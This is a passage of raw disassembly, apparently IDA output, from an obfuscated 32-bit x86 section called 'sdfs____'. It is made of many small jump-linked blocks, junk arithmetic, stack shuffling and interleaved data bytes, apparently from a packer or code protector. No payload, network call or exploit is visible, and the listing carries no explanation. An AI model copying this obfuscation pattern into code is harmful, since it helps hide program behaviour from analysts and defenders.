loc_590A52:				; CODE XREF: sdfs____:0058F962j
		push	eax
		mov	eax, 0
		add	eax, ebx
		add	[eax], ecx
		jmp	loc_596692
; ---------------------------------------------------------------------------


loc_590A61:				; CODE XREF: sdfs____:00590CB7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ebp, 72B83BACh
		sub	eax, ebp
		jmp	loc_58FCD3
; ---------------------------------------------------------------------------
		db 68h,	82h, 3Ch
		dd 14890000h, 24946824h, 1C890000h, 0E9A6B324h,	0FFFFE288h
		dd 3147EE81h, 69E9B7BEh
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590A97:				; CODE XREF: sdfs____:0058BC04j
		push	ecx
		jmp	loc_58CEE0
; ---------------------------------------------------------------------------
		db 0BEh, 8Eh, 72h
		dd 3AE93894h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590AA7:				; CODE XREF: sdfs____:loc_59853Aj
		add	dh, 1Bh
		mov	cl, dh
		jmp	loc_59073D
; ---------------------------------------------------------------------------
		db 4Ah,	0D1h, 0EAh
		dd 0FFEFE0E9h, 1C77FFFFh, 6659669Dh, 9C241CD3h,	0FFAEFCE9h
		dd 4C483FFh, 0FFE85AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590AD1:				; CODE XREF: sdfs____:00596705j
		mov	edx, [esp]
		jmp	loc_58FB45
; ---------------------------------------------------------------------------


loc_590AD9:				; CODE XREF: sdfs____:005964ABj
		push	464Fh
		jmp	loc_593FC2
; ---------------------------------------------------------------------------
		db 81h
		dd 0AB6DACEBh, 243C8B58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_594F95
; ---------------------------------------------------------------------------
		dd 0E9F03058h, 0FFFFBDFCh, 6983E94Bh, 41590000h, 0E951CF87h
		dd 0FFFFB5D6h, 0A13D20BAh, 0A0CA814Ch, 0E941E60Bh, 5522h
; ---------------------------------------------------------------------------


loc_590B1C:				; CODE XREF: sdfs____:00591B16j
		sub	dword ptr [esp], 698942DFh
		mov	edx, [esp]
		add	esp, 4
		push	15A6h
		mov	[esp], ebx
		push	46E06A4Bh
		pop	ebx
		neg	ebx
		shl	ebx, 7
		inc	ebx
		xor	ebx, 0E643985Eh
		jmp	loc_596128
; ---------------------------------------------------------------------------
		db 0ADh
		dd 207F83h, 0EDC2840Fh,	0B850FFFFh, 5A047DA5h, 5919E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590B62:				; CODE XREF: sdfs____:0058B9C6j
		xor	al, bl
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 155B578Dh
		shr	ebx, 4
		xor	ebx, 50A96310h
		add	ebx, 0AE03299Ch
		jmp	loc_58FA27
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FFC5D4E9h, 243433FFh, 33243431h, 248B2434h,	24040824h
		dd 0AE27E99Ch, 15EFFFFh, 0EC8359C8h, 0B6E2E904h, 8B66FFFFh
		dd 89572404h, 4B951E7h,	81000000h, 936AC2C7h, 81CF0109h
		dd 936AC2EFh, 2C685909h, 8900001Dh, 6856242Ch, 100F6A6Ch
		dd 0E2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_590BD9:				; CODE XREF: sdfs____:00595F8Dj
		mov	ecx, [esp]
		jmp	loc_591F37
; ---------------------------------------------------------------------------


loc_590BE1:				; CODE XREF: sdfs____:0059194Dj
		mov	bl, 0ACh
		xor	cl, bl
		jmp	loc_594E0B
; ---------------------------------------------------------------------------


loc_590BEA:				; CODE XREF: sdfs____:00590127j
		sub	bx, 3EADh
		sub	bx, ax
		add	bx, 3EADh
		add	bx, 55FCh
		movzx	eax, ax
		push	ebp
		mov	ebp, esp
		jmp	loc_593832
; ---------------------------------------------------------------------------


loc_590C07:				; CODE XREF: sdfs____:0058F687j
		push	ecx
		push	dword ptr [esp]
		jmp	loc_58FF97
; ---------------------------------------------------------------------------
		dd 8324348Ah, 0EE8004C4h, 7BB1E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590C1E:				; CODE XREF: sdfs____:loc_594ABCj
		sub	edx, 56738F2Dh
		and	eax, edx
		pop	edx
		jmp	loc_5924F4
; ---------------------------------------------------------------------------
		dd 0EDC1DDF7h, 1ABE5604h, 81036F11h, 735A2FEDh,	0E9F50169h
		dd 177Ah, 0C8BCB21h, 4C48124h, 81000000h, 0FBBDFCC3h, 8BDF01CBh
		dd 0C483241Ch, 2BA5204h, 1000000h, 3C875AD7h, 24248B24h
		dd 9C2424D2h, 0FFAD50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590C75:				; CODE XREF: sdfs____:0058C41Bj
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58EFFE
; ---------------------------------------------------------------------------


loc_590CA1:				; CODE XREF: sdfs____:0058CD72j
					; sdfs____:005970E7j
		mov	dh, 98h
		jmp	loc_592C19
; ---------------------------------------------------------------------------


loc_590CA8:				; CODE XREF: sdfs____:00592FC3j
		mov	edx, 0C60157DFh
		jmp	loc_590862
; ---------------------------------------------------------------------------


loc_590CB2:				; CODE XREF: sdfs____:0059606Ej
		add	eax, 4
		jmp	loc_590A61
; ---------------------------------------------------------------------------


loc_590CBC:				; CODE XREF: sdfs____:0058E7CEj
		sub	al, 58h
		jmp	loc_59086E
; ---------------------------------------------------------------------------


loc_590CC3:				; CODE XREF: sdfs____:0058D9FAj
		push	ebx
		mov	ebx, 4DFD4101h
		push	eax
		mov	eax, 6B030297h
		sub	eax, 1C74308Fh
		xor	eax, 192A9ABBh
		and	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		not	ebx
		shr	ebx, 6
		xor	ebx, 6846539Bh
		jmp	loc_596503
; ---------------------------------------------------------------------------
		dd 81240429h, 4ECh, 24348900h, 0EC83E689h, 242C8904h, 4BDh
		dd 8AC68100h, 16D8863h,	975E9EEh, 77FF0000h, 2404813Ch
		dd 23E1305Dh, 89505258h, 405E0h, 56E90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590D33:				; CODE XREF: sdfs____:0058F088j
		dec	ebx
		jnz	loc_58FA1C
		sub	ebx, 56E55FF5h
		jmp	loc_58C43E
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 867AF02Dh, 0C0835E2Eh, 24048702h, 0FFE33AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590D59:				; CODE XREF: sdfs____:00593D9Ej
		jg	loc_5951BA
		add	edi, 24EF4273h
		jmp	loc_58F160
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EA68240Ch, 89000036h, 58542404h, 0A6685153h, 593E190Ah
		dd 0C981D1F7h, 43A304C6h, 3AFBE181h, 8F0F16DAh,	0FFFFAE0Bh
		dd 0CF29C181h, 0CB89FD3Dh, 0C895859h, 4B924h, 0B9510000h
		dd 4F9E0E43h, 0FFC912E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590DB1:				; CODE XREF: sdfs____:00593DE2j
		xor	[esp], ecx
		jmp	loc_593E10
; ---------------------------------------------------------------------------


loc_590DB9:				; CODE XREF: sdfs____:005905D8j
		mov	[esp], esi
		push	ebp
		push	565E4C31h
		pop	ebp
		xchg	ebx, ebp
		not	ebx
		xor	ebp, ebx
		jmp	loc_597D8B
; ---------------------------------------------------------------------------
		dw 49BEh
		dd 564E295Ch, 0FB242C81h, 5B23953Fh, 3FFBC381h,	0E95E2395h
		dd 0FFFFE792h
; ---------------------------------------------------------------------------


loc_590DE8:				; CODE XREF: sdfs____:00593FF5j
					; sdfs____:00594279j
		xor	ecx, eax
		push	3209h
		mov	[esp], ebx
		xor	dword ptr [esp], 78C37C26h
		pop	eax
		push	5260h
		mov	[esp], edi
		push	esi
		push	41293C71h
		mov	esi, [esp]
		jmp	loc_58FE99
; ---------------------------------------------------------------------------


loc_590E10:				; CODE XREF: sdfs____:005988B2j
		pop	esi
		pop	edx
		push	2F5Ch
		jmp	loc_5925B0
; ---------------------------------------------------------------------------
		dd 0F5E9EB29h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590E23:				; CODE XREF: sdfs____:loc_58D35Bj
		not	ecx
		xor	ecx, 0EF2F5231h
		push	ecx
		pop	ebp
		jmp	loc_598681
; ---------------------------------------------------------------------------


loc_590E32:				; CODE XREF: sdfs____:0058C6F8j
					; sdfs____:00596E45j
		push	6AAh
		mov	[esp], esi
		jmp	loc_590113
; ---------------------------------------------------------------------------
		db 0C1h
		dd 840F08EAh, 522Bh, 3436E9h, 24143300h, 0FFEB58E9h, 4C481FFh
		dd 68000000h, 483Ch, 52241C89h,	7F0960BAh, 0E9D3897Ch
		dd 35B6h
; ---------------------------------------------------------------------------


loc_590E70:				; CODE XREF: sdfs____:0058F710j
		add	esp, 4
		jmp	loc_597CAD
; ---------------------------------------------------------------------------
aPsu6		db 'Péî6',0
		dd 0E9F58900h, 0FFFFCC82h
; ---------------------------------------------------------------------------


loc_590E88:				; CODE XREF: sdfs____:0058DEF1j
		not	edx
		xchg	edx, [esp]
		pop	esi
		push	2961h
		mov	[esp], edi
		mov	edi, 1232632Fh
		add	edi, 65FA3D49h
		jmp	loc_590FD3
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD3h, 0FFAB10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590EB5:				; CODE XREF: sdfs____:0058F326j
		sub	ebx, edi
		pop	edi
		sub	ebx, edx
		add	ebx, 1168307Ch
		jmp	loc_5943B3
; ---------------------------------------------------------------------------


loc_590EC5:				; CODE XREF: sdfs____:00597238j
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_597F9C
; ---------------------------------------------------------------------------


loc_590EE3:				; CODE XREF: sdfs____:0058BD0Ej
		add	eax, edi
		jmp	loc_595862
; ---------------------------------------------------------------------------


loc_590EEA:				; CODE XREF: sdfs____:00598B96j
		sub	edi, 78E71D42h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_58E5BF
; ---------------------------------------------------------------------------
		db 0B9h
		dd 27F93CFFh, 0C981D9F7h, 79496B6Eh, 0E9C1D9F7h, 0F1814104h
		dd 6B014Eh, 0E959C801h,	52Eh, 4EC81h, 2C890000h, 49B8BD24h
		dd 0E95630C6h, 3BDFh, 875AD701h, 248B243Ch, 2424D324h
		dd 0AA7FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590F46:				; CODE XREF: sdfs____:0058BDF2j
		add	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_594E8E
; ---------------------------------------------------------------------------


loc_590F59:				; CODE XREF: sdfs____:00590638j
		and	ebp, 330224BBh
		jnz	loc_58CC2D
		add	ebp, 2938531Ch
		sub	ebx, ebp
		jmp	loc_58BB2D
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0FFC71AE9h, 358A68FFh, 14890000h, 0B7535124h, 5BFD88EAh
		dd 4BA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_590F8D:				; CODE XREF: sdfs____:00591A00j
		and	eax, esi
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_58C42F
; ---------------------------------------------------------------------------


loc_590FA7:				; CODE XREF: sdfs____:0058F7C9j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 2
		mov	ebp, ecx
		pop	ecx
		jmp	loc_596197
; ---------------------------------------------------------------------------


loc_590FD3:				; CODE XREF: sdfs____:00590EA1j
		xor	edi, 0CC75822h
		or	edi, 74AF5979h
		shr	edi, 2
		jmp	loc_5945D6
; ---------------------------------------------------------------------------


loc_590FE7:				; CODE XREF: sdfs____:0058D7B2j
		xor	ch, 2Ch
		push	ebx
		jmp	loc_593C0D
; ---------------------------------------------------------------------------


loc_590FF0:				; CODE XREF: sdfs____:00598386j
		mov	edi, [esp]
		add	esp, 4
		push	1A68h
		mov	[esp], ebp
		mov	ebp, 2ACF0F70h
		not	ebp
		inc	ebp
		or	ebp, 4F46129Fh
		jmp	loc_591C05
; ---------------------------------------------------------------------------


loc_591011:				; CODE XREF: sdfs____:00595027j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_5973B8
; ---------------------------------------------------------------------------


loc_591023:				; CODE XREF: sdfs____:005966F6j
		push	ecx
		jmp	loc_58E37C
; ---------------------------------------------------------------------------


loc_591029:				; CODE XREF: sdfs____:005903A7j
		or	edx, eax
		shl	edx, 1
		jmp	loc_593730
; ---------------------------------------------------------------------------


loc_591032:				; CODE XREF: sdfs____:00592543j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 6341147Ah
		shr	eax, 6
		neg	eax
		jmp	loc_598D5F
; ---------------------------------------------------------------------------


loc_591047:				; CODE XREF: sdfs____:0058C95Ej
		or	[edi+1Ch], esi
		jmp	loc_598180
; ---------------------------------------------------------------------------


loc_59104F:				; CODE XREF: sdfs____:00596DEEj
		mov	ax, [esp]
		push	1F22h
		mov	[esp], ebp
		jmp	loc_58BCBE
; ---------------------------------------------------------------------------
		dd 582434FFh, 53E18951h, 0E1CE9h, 2434FF00h, 0D9D4E958h
		dd 3433FFFFh, 24248B24h, 0FFA9B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591081:				; CODE XREF: sdfs____:00598CAEj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_58DF39
		push	eax
		mov	eax, 1CB34D12h
		dec	eax
		dec	eax
		not	eax
		neg	eax
		jmp	loc_596336
; ---------------------------------------------------------------------------


loc_5910A9:				; CODE XREF: sdfs____:00591965j
		shr	dh, 5
		jp	loc_5911DD
		jmp	loc_5968BC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4EC81h, 14890000h, 0EA2FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5910CE:				; CODE XREF: sdfs____:0058C7F7j
		shl	ebx, 8
		shl	ebx, 4
		jmp	loc_592FB0
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F8h
		dd 81775606h, 707F5EFh,	4BAE971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5910EA:				; CODE XREF: sdfs____:0058ECA8j
		mov	cl, bl
		jmp	loc_58DD57
; ---------------------------------------------------------------------------


loc_5910F1:				; CODE XREF: sdfs____:005912FBj
		add	ecx, 0DB6ED0F3h
		jmp	loc_58F862
; ---------------------------------------------------------------------------


loc_5910FC:				; CODE XREF: sdfs____:0058E7D8j
		mov	ebx, [esp]
		add	esp, 4
		push	464Fh
		mov	[esp], edx
		push	ebx
		push	655D63D0h
		jmp	loc_58F9D9
; ---------------------------------------------------------------------------
		dd offset dword_4ECA24+4444h
		align 2
aIS		db '‰,$é',1Bh,'&',0
		align 2


loc_591122:				; CODE XREF: sdfs____:0058EE33j
		add	esp, 4
		xor	edi, 25732190h
		shr	edi, 4
		push	edi
		not	dword ptr [esp]
		jmp	loc_58E70C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 116CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59113D:				; CODE XREF: sdfs____:0058BB28j
		push	ecx
		mov	ecx, 42007A02h
		neg	ecx
		jmp	loc_58ED98
; ---------------------------------------------------------------------------


loc_59114A:				; CODE XREF: sdfs____:loc_594CCCj
		pop	ebp
		add	ecx, esi
		pop	esi
		jmp	loc_5955FA
; ---------------------------------------------------------------------------


loc_591153:				; CODE XREF: sdfs____:00595C74j
		push	edx
		jmp	loc_58E6CD
; ---------------------------------------------------------------------------
		db 4Eh,	0C1h, 0EEh
		dd 0D5880F04h, 0E9FFFFD9h, 1230h, 0E9241C87h, 0FFFFC371h
; ---------------------------------------------------------------------------


loc_591170:				; CODE XREF: sdfs____:loc_5987F3j
		sub	[esp], ebp
		jmp	loc_58C8C0
; ---------------------------------------------------------------------------
		dd 5E52D305h, 2DF8290Eh, 0E5E52D3h, 683B685Fh, 14890000h
		dd 185AE924h, 0EB830000h, 241C8704h, 241C895Ch,	8A24A368h
		dd 0D8295B19h, 5B2434FFh, 4EC81h, 14890000h, 815A5424h
		dd 4C2h, 6F48E900h, 0BD550000h,	35C55593h, 8B5DE829h, 8956240Ch
		dd 17CBE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5911D2:				; CODE XREF: sdfs____:0058BD96j
		add	ecx, 5ABACD44h
		jmp	loc_595255
; ---------------------------------------------------------------------------


loc_5911DD:				; CODE XREF: sdfs____:005910ACj
		add	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		jmp	loc_59024A
; ---------------------------------------------------------------------------
		dd 887FB753h, 0EA305BFDh, 240C8B66h, 2002C483h,	0E3685AD0h
		dd 89000041h, 63E9241Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_591207:				; CODE XREF: sdfs____:0058F6B7j
		add	esp, 4
		sub	ecx, 78D35A3Dh
		push	dword ptr [esp]
		jmp	loc_59853F
; ---------------------------------------------------------------------------


loc_591218:				; CODE XREF: sdfs____:0058BDA2j
		push	esp
		pop	eax
		push	edx
		push	ebp
		push	6FD104EDh
		pop	ebp
		xor	ebp, 65C71C7h
		mov	edx, ebp
		pop	ebp
		jmp	loc_598B40
; ---------------------------------------------------------------------------
		dd 5259CB29h, 1CAFBB53h, 0DA89473Ch, 0EAC14A5Bh, 0F6C28108h
		dd 2976E2FEh, 2AE95AD3h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59124F:				; CODE XREF: sdfs____:00596A9Aj
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_593427
; ---------------------------------------------------------------------------


loc_591275:				; CODE XREF: sdfs____:0058CFFCj
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58BF37
; ---------------------------------------------------------------------------
		dd 69D068h, 24148900h, 0B37915BAh, 52504A59h, 0FFF86FE9h
		dd 814149FFh, 0D321C0C9h, 4E9C17Fh, 0F181D9F7h,	6D8ED0B9h
		dd 2959CD29h, 0D0315DEAh, 0FFCAE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5912BE:				; CODE XREF: sdfs____:00597AEEj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58E924
; ---------------------------------------------------------------------------


loc_5912CC:				; CODE XREF: sdfs____:0058C382j
		mov	[esp], esi
		mov	esi, 5674F40h
		push	edx
		mov	edx, 13F6689Dh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 631D5504h
		neg	edi
		inc	edi
		not	edi
		not	edi
		push	ecx
		push	61C05416h
		pop	ecx
		not	ecx
		jmp	loc_5910F1
; ---------------------------------------------------------------------------


loc_591300:				; CODE XREF: sdfs____:0058D0D0j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5976B0
; ---------------------------------------------------------------------------


loc_591309:				; CODE XREF: sdfs____:00598943j
		sub	edx, 0F82EF890h
		mov	[edi+20h], edx
		jmp	loc_58D06E
; ---------------------------------------------------------------------------


loc_591317:				; CODE XREF: sdfs____:005987A3j
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_59841F
; ---------------------------------------------------------------------------


loc_59132A:				; CODE XREF: sdfs____:00598AA5j
		mov	dl, bh
		pop	ebx
		pop	ecx
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		add	ch, 0AEh
		add	al, ch
		mov	ecx, [esp]
		jmp	loc_58EB23
; ---------------------------------------------------------------------------


loc_591344:				; CODE XREF: sdfs____:00598B02j
		xchg	ebp, [esp]
		jmp	loc_59031C
; ---------------------------------------------------------------------------
		dd 86E9D830h, 89FFFFCCh, 4812424h, 424h, 240C8B00h, 4C481h
		dd 0A1680000h, 0E9000011h, 0FFFFE2DAh
; ---------------------------------------------------------------------------


loc_591370:				; CODE XREF: sdfs____:00595AE5j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	ebp
		mov	ebp, 26704A10h
		mov	ecx, 2D0D5C81h
		xor	ecx, ebp
		pop	ebp
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		push	ebx
		push	edi
		mov	edi, 668D13B2h
		jmp	loc_596EB1
; ---------------------------------------------------------------------------


loc_591397:				; CODE XREF: sdfs____:00592933j
		push	ebx
		inc	byte ptr [esp+1]
		pop	ebx
		sub	bh, 85h
		xor	bh, 3
		add	al, bh
		pop	ebx
		pop	ecx
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 20h
		neg	dl
		ja	loc_594118
		push	ecx
		push	eax
		mov	al, 3Eh
		shr	al, 3
		jnz	loc_594D51
		add	al, 0Ah
		mov	ch, al
		mov	eax, [esp]
		mov	ebp, ebx
		pop	edx
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5913E8:				; CODE XREF: sdfs____:0058E14Cj
		mov	[esp], edx
		push	7FF7h
		jmp	loc_59321D
; ---------------------------------------------------------------------------
aIXfqsD		db 'ˆÞ[³•fQé$D',0
		dd 2EC8100h, 66000000h,	66242489h, 2B86650h, 7590E900h
		dd 0EA810000h, 0DE272A1Dh, 7BE9D089h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591423:				; CODE XREF: sdfs____:0058C022j
		add	ebx, 4
		push	ebp
		push	ebx
		push	1CE90F57h
		jmp	loc_58DFFD
; ---------------------------------------------------------------------------


loc_591435:				; CODE XREF: sdfs____:0058E457j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58DD0A
; ---------------------------------------------------------------------------


loc_591448:				; CODE XREF: sdfs____:0058CD39j
		push	edx
		jmp	loc_59266D
; ---------------------------------------------------------------------------
		dw 205h
		dd 50000000h, 42474FFh,	8324048Bh, 48F04C4h, 62D0E924h
		dd 4050000h, 0E9000000h, 0FFFFEB7Fh, 0FFA550E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591475:				; CODE XREF: sdfs____:00590A4Dj
		xor	ebp, 3F0F1DDFh
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		add	ebx, 76942E9Eh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598806
; ---------------------------------------------------------------------------
a13I4Hua	db '1<$3<$\‰4$hîA',0
		align 10h
		dd 0E9242489h, 0FFFFD9E7h, 558168h, 0ABCDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5914B2:				; CODE XREF: sdfs____:00597142j
		pop	edi
		pop	edx
		push	edi
		pop	ebp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	64AD0680h
		mov	esi, [esp]
		jmp	loc_58D2AD
; ---------------------------------------------------------------------------


loc_5914E6:				; CODE XREF: sdfs____:005983C1j
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	eax, 0AE75B83h
		add	edx, 20DA2DCCh
		add	edx, eax
		push	688Ch
		mov	[esp], ebx
		mov	ebx, 61BF6508h
		jmp	loc_596B7C
; ---------------------------------------------------------------------------


loc_59150B:				; CODE XREF: sdfs____:00591781j
		add	esp, 4
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58EAC4
; ---------------------------------------------------------------------------
aRIxjns		db 'Rº¨xJNé&+',0
		align 2
aOs4		db 'Oé²4',0
		align 4


loc_59153C:				; CODE XREF: sdfs____:00596A19j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5983D3
; ---------------------------------------------------------------------------
		dd 60358EBBh, 0E9DF2115h, 0FFFFADE1h, 0B8240489h, 0F624FACCh
		dd 8158C729h, 8C0A13EFh, 0B2F7810Fh, 573BD406h,	0E8315F58h
		dd 5D2434FFh, 1998E9h, 242C8700h, 8924248Bh, 74FF2404h
		dd 8F580424h, 0C3E92404h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591597:				; CODE XREF: sdfs____:00597FE4j
		add	ebx, 4B86CB51h
		xor	eax, ebx
		jmp	loc_59782A
; ---------------------------------------------------------------------------
		dd 0D5B5F781h, 0FA292E67h, 6BF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5915B1:				; CODE XREF: sdfs____:00598952j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		push	872670Ah
		pop	eax
		shl	eax, 8
		jp	loc_597478
		neg	eax
		jz	loc_5979B0
		jmp	loc_58D1F9
; ---------------------------------------------------------------------------


loc_5915D8:				; CODE XREF: sdfs____:005928C8j
		add	ebp, 460C4516h
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_591C5D
; ---------------------------------------------------------------------------


loc_5915F9:				; CODE XREF: sdfs____:0058D49Ej
		sub	ebx, 75150B75h
		sub	ebx, esi
		push	edi
		mov	edi, 162638F7h
		and	edi, 76B4CE2h
		shr	edi, 7
		sub	edi, 6A864D8Dh
		sub	edi, 2070EB0Fh
		add	ebx, edi
		pop	edi
		pop	esi
		add	ebx, 4F183967h
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_5909D1
; ---------------------------------------------------------------------------


loc_59162E:				; CODE XREF: sdfs____:0058C544j
		add	eax, ebx
		add	eax, 1464A3Bh
		sub	eax, 61DD0227h
		mov	ebx, [esp]
		jmp	loc_597EB7
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0F5391C4Ch, 159CE29h, 513E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591652:				; CODE XREF: sdfs____:00591AE2j
		sub	eax, 77F51EF7h
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_597AAD
; ---------------------------------------------------------------------------


loc_59166D:				; CODE XREF: sdfs____:00591D7Bj
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_58BADF
; ---------------------------------------------------------------------------


loc_59167C:				; CODE XREF: sdfs____:00596A61j
		push	1
		push	dword ptr [esp]
		jmp	loc_592511
; ---------------------------------------------------------------------------
aSkw		db '\ékW',0
		dw 8100h
		dd 88638AEEh, 0EE815D6Dh, 4, 5C243487h,	0FFBC14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5916A5:				; CODE XREF: sdfs____:0058F694j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598199
; ---------------------------------------------------------------------------
		dd 0D5F75D59h, 0FFF1D1E9h, 0E932FFFFh, 7373h, 0FFA2F0E9h
		dd 0C1BE56FFh, 81388139h, 0F0474DEEh, 0E9D6F709h, 0FFFFDAA8h
		dd 35CE8158h, 0F48954Dh, 3D0389h, 0F7D6F700h, 0FFEE83D6h
		dd 5ADA8B4Eh
; ---------------------------------------------------------------------------


loc_591700:				; CODE XREF: sdfs____:0059760Dj
		add	ecx, edx
		jmp	loc_597F10
; ---------------------------------------------------------------------------
aUsaq		db 'UéQ',0
		db 0
; ---------------------------------------------------------------------------


loc_59170D:				; CODE XREF: sdfs____:0058C4D0j
		pop	esi
		jmp	loc_59677A
; ---------------------------------------------------------------------------


loc_591713:				; CODE XREF: sdfs____:0058F528j
		xor	eax, ecx
		xchg	eax, edi
		xchg	ecx, edi
		jmp	loc_5975C3
; ---------------------------------------------------------------------------


loc_59171D:				; CODE XREF: sdfs____:0058E649j
		pop	esi
		jmp	loc_591D0B
; ---------------------------------------------------------------------------


loc_591723:				; CODE XREF: sdfs____:0058F1CAj
		mov	[esp], ebx
		mov	ebx, 1
		add	eax, 49BF0EE8h
		sub	eax, ebx
		sub	eax, 49BF0EE8h
		mov	ebx, [esp]
		jmp	loc_58E146
; ---------------------------------------------------------------------------
		db 89h
		dd 6F7FE9F5h, 0EC810000h, 4, 0E9241C89h, 0FFFFB0F1h
; ---------------------------------------------------------------------------


loc_591754:				; CODE XREF: sdfs____:0059621Aj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591759:				; CODE XREF: sdfs____:0058BFCBj
		and	ebx, ecx
		pop	ecx
		or	ebx, ebx
		jnz	loc_597D94
		push	ecx
		jmp	loc_58BFA6
; ---------------------------------------------------------------------------


